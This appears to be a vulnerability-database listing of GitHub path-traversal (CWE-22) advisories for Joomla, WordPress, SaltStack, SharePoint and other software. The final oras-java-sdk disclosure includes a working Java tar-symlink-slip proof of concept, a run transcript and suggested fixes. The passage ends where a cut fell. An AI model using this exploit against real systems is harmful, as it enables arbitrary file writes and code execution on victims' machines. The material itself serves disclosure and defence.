CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13336 vulnerabilities reference this CWE, most recent first.
GHSA-J68C-C9HG-732G
Vulnerability from github – Published: 2022-05-01 23:44 – Updated: 2022-05-01 23:44Directory traversal vulnerability in index.php in the joomlaXplorer (com_joomlaxplorer) Mambo/Joomla! component 1.6.2 and earlier allows remote attackers to list arbitrary directories via a .. (dot dot) in the dir parameter in a show_error action.
{
"affected": [],
"aliases": [
"CVE-2008-1849"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-16T17:05:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in index.php in the joomlaXplorer (com_joomlaxplorer) Mambo/Joomla! component 1.6.2 and earlier allows remote attackers to list arbitrary directories via a .. (dot dot) in the dir parameter in a show_error action.",
"id": "GHSA-j68c-c9hg-732g",
"modified": "2022-05-01T23:44:11Z",
"published": "2022-05-01T23:44:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1849"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41778"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5431"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28746"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J69F-3CMP-JRJJ
Vulnerability from github – Published: 2026-07-09 21:31 – Updated: 2026-07-09 21:31The UsersWP plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 1.2.65. This is due to insufficient validation of file-field values in the UsersWP_Validation::validate_fields() function (which falls through to sanitize_text_field() for fields of type 'file', leaving directory-traversal sequences intact) combined with the UsersWP_Forms::upload_file_remove() AJAX handler building the deletion target from the uploads basedir concatenated with the attacker-controlled metadata value without any realpath canonicalization or uploads-directory boundary check before calling unlink(). This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the affected site's server, including wp-config.
{
"affected": [],
"aliases": [
"CVE-2026-13492"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-09T19:17:03Z",
"severity": "HIGH"
},
"details": "The UsersWP plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 1.2.65. This is due to insufficient validation of file-field values in the UsersWP_Validation::validate_fields() function (which falls through to sanitize_text_field() for fields of type \u0027file\u0027, leaving directory-traversal sequences intact) combined with the UsersWP_Forms::upload_file_remove() AJAX handler building the deletion target from the uploads basedir concatenated with the attacker-controlled metadata value without any realpath canonicalization or uploads-directory boundary check before calling unlink(). This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the affected site\u0027s server, including wp-config.",
"id": "GHSA-j69f-3cmp-jrjj",
"modified": "2026-07-09T21:31:20Z",
"published": "2026-07-09T21:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13492"
},
{
"type": "WEB",
"url": "https://github.com/AyeCode/userswp/commit/ddb17ad30ff3384cda85c5f372db30b03bd45ac8"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.65/includes/class-forms.php#L1059"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.65/includes/class-forms.php#L1973"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.65/includes/class-forms.php#L2320"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.65/includes/class-forms.php#L2323"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.65/includes/class-validation.php#L190"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3590340/userswp"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b6cf6390-480f-44e2-ae36-67e3398add33?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J69M-4PR5-VVWG
Vulnerability from github – Published: 2022-05-17 01:11 – Updated: 2022-05-17 01:11Directory traversal vulnerability in install.php in FluxBB before 1.5.8 allows remote attackers to include and execute arbitrary local install.php files via a .. (dot dot) in the install_lang parameter.
{
"affected": [],
"aliases": [
"CVE-2014-9574"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-02-03T16:59:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in install.php in FluxBB before 1.5.8 allows remote attackers to include and execute arbitrary local install.php files via a .. (dot dot) in the install_lang parameter.",
"id": "GHSA-j69m-4pr5-vvwg",
"modified": "2022-05-17T01:11:53Z",
"published": "2022-05-17T01:11:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9574"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/100506"
},
{
"type": "WEB",
"url": "https://fluxbb.org/forums/viewtopic.php?id=8203"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23246"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J6GJ-PG62-X8J6
Vulnerability from github – Published: 2022-05-17 00:24 – Updated: 2024-10-21 21:11Directory traversal vulnerability in minion id validation in SaltStack Salt before 2016.3.8, 2016.11.x before 2016.11.8, and 2017.7.x before 2017.7.2 allows remote minions with incorrect credentials to authenticate to a master via a crafted minion ID. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-12791.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "salt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2016.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "salt"
},
"ranges": [
{
"events": [
{
"introduced": "2016.11.0"
},
{
"fixed": "2016.11.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "salt"
},
"ranges": [
{
"events": [
{
"introduced": "2017.7.0"
},
{
"fixed": "2017.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-14695"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-22T22:20:25Z",
"nvd_published_at": "2017-10-24T17:29:00Z",
"severity": "CRITICAL"
},
"details": "Directory traversal vulnerability in minion id validation in SaltStack Salt before 2016.3.8, 2016.11.x before 2016.11.8, and 2017.7.x before 2017.7.2 allows remote minions with incorrect credentials to authenticate to a master via a crafted minion ID. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-12791.",
"id": "GHSA-j6gj-pg62-x8j6",
"modified": "2024-10-21T21:11:11Z",
"published": "2022-05-17T00:24:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14695"
},
{
"type": "WEB",
"url": "https://github.com/saltstack/salt/commit/80d90307b07b3703428ecbb7c8bb468e28a9ae6d"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1500748"
},
{
"type": "WEB",
"url": "https://docs.saltstack.com/en/latest/topics/releases/2016.11.8.html"
},
{
"type": "WEB",
"url": "https://docs.saltstack.com/en/latest/topics/releases/2016.3.8.html"
},
{
"type": "WEB",
"url": "https://docs.saltstack.com/en/latest/topics/releases/2017.7.2.html"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/salt/PYSEC-2017-36.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/saltstack/salt"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2017-10/msg00073.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2017-10/msg00075.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SaltStack Salt Directory traversal vulnerability in minion id validation"
}
GHSA-J6GX-WMW5-CQJ8
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
{
"affected": [],
"aliases": [
"CVE-2026-45454"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:19Z",
"severity": "MODERATE"
},
"details": "Improper limitation of a pathname to a restricted directory (\u0027path traversal\u0027) in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.",
"id": "GHSA-j6gx-wmw5-cqj8",
"modified": "2026-06-09T18:30:48Z",
"published": "2026-06-09T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45454"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J6HF-HMJ6-C2WC
Vulnerability from github – Published: 2023-09-25 18:30 – Updated: 2024-04-04 07:50Directory Traversal vulnerability in itechyou dreamer CMS v.4.1.3 allows a remote attacker to execute arbitrary code via the themePath in the uploaded template function.
{
"affected": [],
"aliases": [
"CVE-2023-43382"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-25T16:15:14Z",
"severity": "HIGH"
},
"details": "Directory Traversal vulnerability in itechyou dreamer CMS v.4.1.3 allows a remote attacker to execute arbitrary code via the themePath in the uploaded template function.",
"id": "GHSA-j6hf-hmj6-c2wc",
"modified": "2024-04-04T07:50:32Z",
"published": "2023-09-25T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43382"
},
{
"type": "WEB",
"url": "https://aecous.github.io/2023/09/17/Text/?password=Aecous"
},
{
"type": "WEB",
"url": "https://gist.github.com/Aecous/7c6524859d624c00f4a975ecd5a743a7"
},
{
"type": "WEB",
"url": "https://gitee.com/iteachyou/dreamer_cms/issues/I821AI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J6HJ-9PQ4-66F2
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38Directory traversal vulnerability in download.php in Synology Photo Station before 6.5.3-3226 allows remote attackers to read arbitrary files via a full pathname in the id parameter.
{
"affected": [],
"aliases": [
"CVE-2016-10331"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-12T20:29:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in download.php in Synology Photo Station before 6.5.3-3226 allows remote attackers to read arbitrary files via a full pathname in the id parameter.",
"id": "GHSA-j6hj-9pq4-66f2",
"modified": "2022-05-13T01:38:51Z",
"published": "2022-05-13T01:38:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10331"
},
{
"type": "WEB",
"url": "https://bamboofox.github.io/2017/03/20/Synology-Bug-Bounty-2016/#Vul-06-Local-File-Inclusion"
},
{
"type": "WEB",
"url": "https://www.synology.com/en-global/support/security/Photo_Station_6_5_3_3226"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J6HM-V3X2-QV6J
Vulnerability from github – Published: 2026-07-01 20:31 – Updated: 2026-07-01 20:31Summary
ArchiveUtils.untar(InputStream, Path) and ArchiveUtils.unzip(InputStream, Path) in land.oras:oras-java-sdk create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent Files.newOutputStream call follows the symlink and writes the file outside the caller's chosen target directory.
This bypasses the existing ensureSafeEntry containment check, which only validates entry.getName() and not entry.getLinkName(). Reachable from the public Registry.pullArtifact / OCILayout.pullArtifact API whenever the manifest layer carries io.deis.oras.content.unpack=true, and from any direct caller of ArchiveUtils.untar / ArchiveUtils.uncompressuntar (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries).
Affected versions
land.oras:oras-java-sdk <= 0.6.3 (current main commit 8e39dd54f0b9e981a5f246aefb851298187578e5, file src/main/java/land/oras/utils/ArchiveUtils.java lines 400-443 for untar, lines 350-393 for unzip).
Earlier path-traversal fix in PR #703 (released as 0.6.2) addressed the org.opencontainers.image.title annotation sink (GHSA-xm96-gfjx-jcrc), but did not extend containment to symlink targets inside archive entries.
Privilege required
Network-position: any party able to serve an OCI artifact / archive blob that the victim's oras-java-sdk-based tool pulls and extracts. This includes:
- A compromised or attacker-operated OCI registry endpoint (typo-squat, MITM, supply-chain into a public registry namespace).
- A malicious upstream artifact author who pushes a single tampered blob to a registry the victim trusts.
No registry authentication needed on the victim side beyond what is required to pull the artifact; the attack is fully driven by the contents of the layer the victim downloads.
Root cause
src/main/java/land/oras/utils/ArchiveUtils.java untar(InputStream, Path), lines 400-443:
public static void untar(InputStream fis, Path target) {
try {
try (BufferedInputStream bis = new BufferedInputStream(fis);
TarArchiveInputStream tais = new TarArchiveInputStream(bis)) {
TarArchiveEntry entry;
while ((entry = tais.getNextEntry()) != null) {
// Check if the entry is outside the target directory
ensureSafeEntry(entry, target); // validates entry.getName() only
Path outputPath = target.resolve(entry.getName()).normalize();
if (entry.isDirectory()) {
Files.createDirectories(outputPath);
} else {
Files.createDirectories(outputPath.getParent());
if (entry.isSymbolicLink()) {
// entry.getLinkName() is NOT validated against target
createSymbolicLink(outputPath, Paths.get(entry.getLinkName()));
} else {
// FOLLOWS the symlink if outputPath's parent is one
try (OutputStream out = Files.newOutputStream(outputPath)) {
tais.transferTo(out);
}
}
}
}
}
} catch (IOException e) {
throw new OrasException("Failed to extract tar.gz file", e);
}
}
ensureSafeEntry (lines 261-268) only normalizes entry.getName() against target. entry.getLinkName() for symlink entries is passed straight to createSymbolicLink. The subsequent file-write code path uses Files.newOutputStream without LinkOption.NOFOLLOW_LINKS, so when a later entry's path traverses through the previously-created symlink, the write resolves the symlink and lands outside target.
The same primitive applies to unzip(InputStream, Path) at lines 350-393 (symlink path at line 379 uses createSymbolicLink(outputPath, Paths.get(linkStr)) without target validation).
Reachability into the public API:
Registry.pullArtifact->pullLayer(Registry.java:1088). Whenio.deis.oras.content.unpack=trueis set on the layer,pullLayercallsArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path)at line 1109. The attacker-controlled blob is the input.OCILayout.pullArtifactsimilar path through the layout's blob store.- Any direct caller of
ArchiveUtils.untar/ArchiveUtils.uncompressuntar/ArchiveUtils.unzipfrom a downstream consumer that fetches an archive blob and extracts it.
Proof of concept (E2E against deployed Maven Central land.oras:oras-java-sdk:0.6.3)
pom.xml:
<dependency>
<groupId>land.oras</groupId>
<artifactId>oras-java-sdk</artifactId>
<version>0.6.3</version>
</dependency>
src/main/java/TarSlipPoc.java:
import land.oras.utils.ArchiveUtils;
import org.apache.commons.compress.archivers.tar.TarArchiveEntry;
import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;
import java.io.*;
import java.nio.file.*;
public class TarSlipPoc {
public static void main(String[] args) throws Exception {
Path tmp = Files.createTempDirectory("orasslip-");
Path target = tmp.resolve("safe-output");
Files.createDirectories(target);
Path escapeFile = tmp.resolve("ESCAPED.txt");
Files.deleteIfExists(escapeFile);
Path mtar = tmp.resolve("malicious.tar");
try (TarArchiveOutputStream tout =
new TarArchiveOutputStream(Files.newOutputStream(mtar))) {
tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX);
// Entry 1: symlink at "evil-link" pointing one dir above target
TarArchiveEntry symlinkEntry =
new TarArchiveEntry("evil-link", TarArchiveEntry.LF_SYMLINK);
symlinkEntry.setLinkName(tmp.toAbsolutePath().toString());
symlinkEntry.setMode(0777);
tout.putArchiveEntry(symlinkEntry);
tout.closeArchiveEntry();
// Entry 2: regular file under "evil-link/" — write follows symlink
byte[] data = "POC SUCCESS\n".getBytes();
TarArchiveEntry fileEntry =
new TarArchiveEntry("evil-link/ESCAPED.txt");
fileEntry.setSize(data.length);
fileEntry.setMode(0644);
tout.putArchiveEntry(fileEntry);
tout.write(data);
tout.closeArchiveEntry();
}
System.out.println("ESCAPED.txt pre-extract: " + Files.exists(escapeFile));
ArchiveUtils.untar(mtar, target);
System.out.println("ESCAPED.txt post-extract (outside target): "
+ Files.exists(escapeFile));
}
}
Run transcript (JDK 25, Apache Maven 3.9.16, oras-java-sdk:0.6.3 from Maven Central):
=== PRE-EXTRACT ===
target=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output
ESCAPED.txt exists: false
=== POST-EXTRACT ===
target listing:
/var/folders/.../orasslip-.../safe-output
/var/folders/.../orasslip-.../safe-output/evil-link (symlink)
ESCAPED.txt exists outside target: true
ESCAPED.txt contents: POC SUCCESS
** SYMLINK TAR-SLIP CONFIRMED **
Negative control: same malicious tar, extracted through a routine that resolves entry.getLinkName() against the entry's parent and requires the result to stay under target, AND opens regular files with LinkOption.NOFOLLOW_LINKS:
=== NEGATIVE CONTROL (link-target validation) ===
BLOCKED symlink 'evil-link' -> '/var/folders/.../orasslip-neg-...' (escapes target)
ESCAPED.txt exists outside target: false
** NEGATIVE CONTROL OK — no escape, safe under fix **
Impact
- Arbitrary file write under the privileges of the JVM process that runs the SDK. Files in any directory the process can write to are overwritten, including build outputs, CI workspace siblings,
~/.bashrc-style profile files when extraction happens under the user's home, and~/.docker/config.json/~/.config/containers/auth.jsonto plant attacker registry credentials. - Indirect code execution when the overwritten target is a shell init file, a cron drop-in, a systemd unit drop-in, an SSH
authorized_keys(when extraction happens under a service account home), a Jenkins / Tekton task runner script, or any executable invoked by the surrounding pipeline. - Supply-chain pivot: any oras-java-sdk consumer that pulls an artifact and extracts it (project-scaffolding CLIs, Helm-OCI fetchers, plugin pull tools, CNCF artifact handlers) becomes a remote-attacker write primitive.
CVSS 3.1 vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (~8.6 HIGH). The integrity impact is high because the attacker fully chooses both the link target path and the file payload; availability is high because critical files (cron, init scripts, application binaries on the CI worker) can be overwritten.
Suggested fix
Two complementary changes in src/main/java/land/oras/utils/ArchiveUtils.java. Both are required: the link-target check stops the symlink from being created in the first place; LinkOption.NOFOLLOW_LINKS is the second line of defense against any path that already contains a symlink (race, pre-existing target dir, etc.).
(1) Validate symlink targets in untar and unzip against the normalized extraction root, paralleling the existing ensureSafeEntry shape:
private static void ensureSafeSymlinkTarget(Path outputPath, Path linkTarget, Path target)
throws IOException {
Path normalizedTarget = target.toAbsolutePath().normalize();
Path resolved = (linkTarget.isAbsolute()
? linkTarget
: outputPath.getParent().resolve(linkTarget)).normalize();
if (!resolved.startsWith(normalizedTarget)) {
throw new IOException(
"Refusing to create symlink that escapes target dir: "
+ outputPath + " -> " + linkTarget);
}
}
Call this immediately before each createSymbolicLink(...) site (one in untar, one in unzip).
(2) Open regular-file writes with LinkOption.NOFOLLOW_LINKS so a pre-existing symlink under the extraction path cannot be silently followed:
try (OutputStream out = Files.newOutputStream(
outputPath,
StandardOpenOption.CREATE_NEW,
StandardOpenOption.WRITE,
java.nio.file.LinkOption.NOFOLLOW_LINKS)) {
tais.transferTo(out); // or zais.transferTo(out) for unzip
}
CREATE_NEW (instead of the implicit CREATE + TRUNCATE_EXISTING) guarantees the open fails if the path resolves to an existing entry (symlink or regular file), and is consistent with archive extraction semantics where layers should not silently clobber siblings.
A regression test that builds the malicious tar inline and asserts the post-extract state stays within target is the natural shape for src/test/java/land/oras/utils/ArchiveUtilsTest.java.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "Maven",
"name": "land.oras:oras-java-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T20:31:34Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\n`ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` in `land.oras:oras-java-sdk` create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent `Files.newOutputStream` call follows the symlink and writes the file outside the caller\u0027s chosen `target` directory.\n\nThis bypasses the existing `ensureSafeEntry` containment check, which only validates `entry.getName()` and not `entry.getLinkName()`. Reachable from the public `Registry.pullArtifact` / `OCILayout.pullArtifact` API whenever the manifest layer carries `io.deis.oras.content.unpack=true`, and from any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries).\n\n### Affected versions\n\n`land.oras:oras-java-sdk` `\u003c= 0.6.3` (current `main` commit `8e39dd54f0b9e981a5f246aefb851298187578e5`, file `src/main/java/land/oras/utils/ArchiveUtils.java` lines 400-443 for `untar`, lines 350-393 for `unzip`).\n\nEarlier path-traversal fix in PR #703 (released as `0.6.2`) addressed the `org.opencontainers.image.title` annotation sink (GHSA-xm96-gfjx-jcrc), but did not extend containment to symlink targets inside archive entries.\n\n### Privilege required\n\nNetwork-position: any party able to serve an OCI artifact / archive blob that the victim\u0027s `oras-java-sdk`-based tool pulls and extracts. This includes:\n\n- A compromised or attacker-operated OCI registry endpoint (typo-squat, MITM, supply-chain into a public registry namespace).\n- A malicious upstream artifact author who pushes a single tampered blob to a registry the victim trusts.\n\nNo registry authentication needed on the victim side beyond what is required to pull the artifact; the attack is fully driven by the contents of the layer the victim downloads.\n\n### Root cause\n\n`src/main/java/land/oras/utils/ArchiveUtils.java` `untar(InputStream, Path)`, lines 400-443:\n\n```java\npublic static void untar(InputStream fis, Path target) {\n try {\n try (BufferedInputStream bis = new BufferedInputStream(fis);\n TarArchiveInputStream tais = new TarArchiveInputStream(bis)) {\n TarArchiveEntry entry;\n while ((entry = tais.getNextEntry()) != null) {\n\n // Check if the entry is outside the target directory\n ensureSafeEntry(entry, target); // validates entry.getName() only\n\n Path outputPath = target.resolve(entry.getName()).normalize();\n\n if (entry.isDirectory()) {\n Files.createDirectories(outputPath);\n } else {\n Files.createDirectories(outputPath.getParent());\n\n if (entry.isSymbolicLink()) {\n // entry.getLinkName() is NOT validated against target\n createSymbolicLink(outputPath, Paths.get(entry.getLinkName()));\n } else {\n // FOLLOWS the symlink if outputPath\u0027s parent is one\n try (OutputStream out = Files.newOutputStream(outputPath)) {\n tais.transferTo(out);\n }\n }\n }\n }\n }\n } catch (IOException e) {\n throw new OrasException(\"Failed to extract tar.gz file\", e);\n }\n}\n```\n\n`ensureSafeEntry` (lines 261-268) only normalizes `entry.getName()` against `target`. `entry.getLinkName()` for symlink entries is passed straight to `createSymbolicLink`. The subsequent file-write code path uses `Files.newOutputStream` without `LinkOption.NOFOLLOW_LINKS`, so when a later entry\u0027s path traverses through the previously-created symlink, the write resolves the symlink and lands outside `target`.\n\nThe same primitive applies to `unzip(InputStream, Path)` at lines 350-393 (symlink path at line 379 uses `createSymbolicLink(outputPath, Paths.get(linkStr))` without target validation).\n\nReachability into the public API:\n\n- `Registry.pullArtifact` -\u003e `pullLayer` (Registry.java:1088). When `io.deis.oras.content.unpack=true` is set on the layer, `pullLayer` calls `ArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path)` at line 1109. The attacker-controlled blob is the input.\n- `OCILayout.pullArtifact` similar path through the layout\u0027s blob store.\n- Any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` / `ArchiveUtils.unzip` from a downstream consumer that fetches an archive blob and extracts it.\n\n### Proof of concept (E2E against deployed Maven Central `land.oras:oras-java-sdk:0.6.3`)\n\n`pom.xml`:\n\n```xml\n\u003cdependency\u003e\n \u003cgroupId\u003eland.oras\u003c/groupId\u003e\n \u003cartifactId\u003eoras-java-sdk\u003c/artifactId\u003e\n \u003cversion\u003e0.6.3\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n`src/main/java/TarSlipPoc.java`:\n\n```java\nimport land.oras.utils.ArchiveUtils;\nimport org.apache.commons.compress.archivers.tar.TarArchiveEntry;\nimport org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;\n\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class TarSlipPoc {\n public static void main(String[] args) throws Exception {\n Path tmp = Files.createTempDirectory(\"orasslip-\");\n Path target = tmp.resolve(\"safe-output\");\n Files.createDirectories(target);\n Path escapeFile = tmp.resolve(\"ESCAPED.txt\");\n Files.deleteIfExists(escapeFile);\n\n Path mtar = tmp.resolve(\"malicious.tar\");\n try (TarArchiveOutputStream tout =\n new TarArchiveOutputStream(Files.newOutputStream(mtar))) {\n tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX);\n\n // Entry 1: symlink at \"evil-link\" pointing one dir above target\n TarArchiveEntry symlinkEntry =\n new TarArchiveEntry(\"evil-link\", TarArchiveEntry.LF_SYMLINK);\n symlinkEntry.setLinkName(tmp.toAbsolutePath().toString());\n symlinkEntry.setMode(0777);\n tout.putArchiveEntry(symlinkEntry);\n tout.closeArchiveEntry();\n\n // Entry 2: regular file under \"evil-link/\" \u2014 write follows symlink\n byte[] data = \"POC SUCCESS\\n\".getBytes();\n TarArchiveEntry fileEntry =\n new TarArchiveEntry(\"evil-link/ESCAPED.txt\");\n fileEntry.setSize(data.length);\n fileEntry.setMode(0644);\n tout.putArchiveEntry(fileEntry);\n tout.write(data);\n tout.closeArchiveEntry();\n }\n\n System.out.println(\"ESCAPED.txt pre-extract: \" + Files.exists(escapeFile));\n ArchiveUtils.untar(mtar, target);\n System.out.println(\"ESCAPED.txt post-extract (outside target): \"\n + Files.exists(escapeFile));\n }\n}\n```\n\nRun transcript (JDK 25, Apache Maven 3.9.16, `oras-java-sdk:0.6.3` from Maven Central):\n\n```\n=== PRE-EXTRACT ===\ntarget=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output\nESCAPED.txt exists: false\n=== POST-EXTRACT ===\ntarget listing:\n /var/folders/.../orasslip-.../safe-output\n /var/folders/.../orasslip-.../safe-output/evil-link (symlink)\nESCAPED.txt exists outside target: true\nESCAPED.txt contents: POC SUCCESS\n** SYMLINK TAR-SLIP CONFIRMED **\n```\n\nNegative control: same malicious tar, extracted through a routine that resolves `entry.getLinkName()` against the entry\u0027s parent and requires the result to stay under `target`, AND opens regular files with `LinkOption.NOFOLLOW_LINKS`:\n\n```\n=== NEGATIVE CONTROL (link-target validation) ===\nBLOCKED symlink \u0027evil-link\u0027 -\u003e \u0027/var/folders/.../orasslip-neg-...\u0027 (escapes target)\nESCAPED.txt exists outside target: false\n** NEGATIVE CONTROL OK \u2014 no escape, safe under fix **\n```\n\n### Impact\n\n- Arbitrary file write under the privileges of the JVM process that runs the SDK. Files in any directory the process can write to are overwritten, including build outputs, CI workspace siblings, `~/.bashrc`-style profile files when extraction happens under the user\u0027s home, and `~/.docker/config.json` / `~/.config/containers/auth.json` to plant attacker registry credentials.\n- Indirect code execution when the overwritten target is a shell init file, a cron drop-in, a systemd unit drop-in, an SSH `authorized_keys` (when extraction happens under a service account home), a Jenkins / Tekton task runner script, or any executable invoked by the surrounding pipeline.\n- Supply-chain pivot: any oras-java-sdk consumer that pulls an artifact and extracts it (project-scaffolding CLIs, Helm-OCI fetchers, plugin pull tools, CNCF artifact handlers) becomes a remote-attacker write primitive.\n\nCVSS 3.1 vector: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H` (~8.6 HIGH). The integrity impact is high because the attacker fully chooses both the link target path and the file payload; availability is high because critical files (cron, init scripts, application binaries on the CI worker) can be overwritten.\n\n### Suggested fix\n\nTwo complementary changes in `src/main/java/land/oras/utils/ArchiveUtils.java`. Both are required: the link-target check stops the symlink from being created in the first place; `LinkOption.NOFOLLOW_LINKS` is the second line of defense against any path that already contains a symlink (race, pre-existing target dir, etc.).\n\n(1) Validate symlink targets in `untar` and `unzip` against the normalized extraction root, paralleling the existing `ensureSafeEntry` shape:\n\n```java\nprivate static void ensureSafeSymlinkTarget(Path outputPath, Path linkTarget, Path target)\n throws IOException {\n Path normalizedTarget = target.toAbsolutePath().normalize();\n Path resolved = (linkTarget.isAbsolute()\n ? 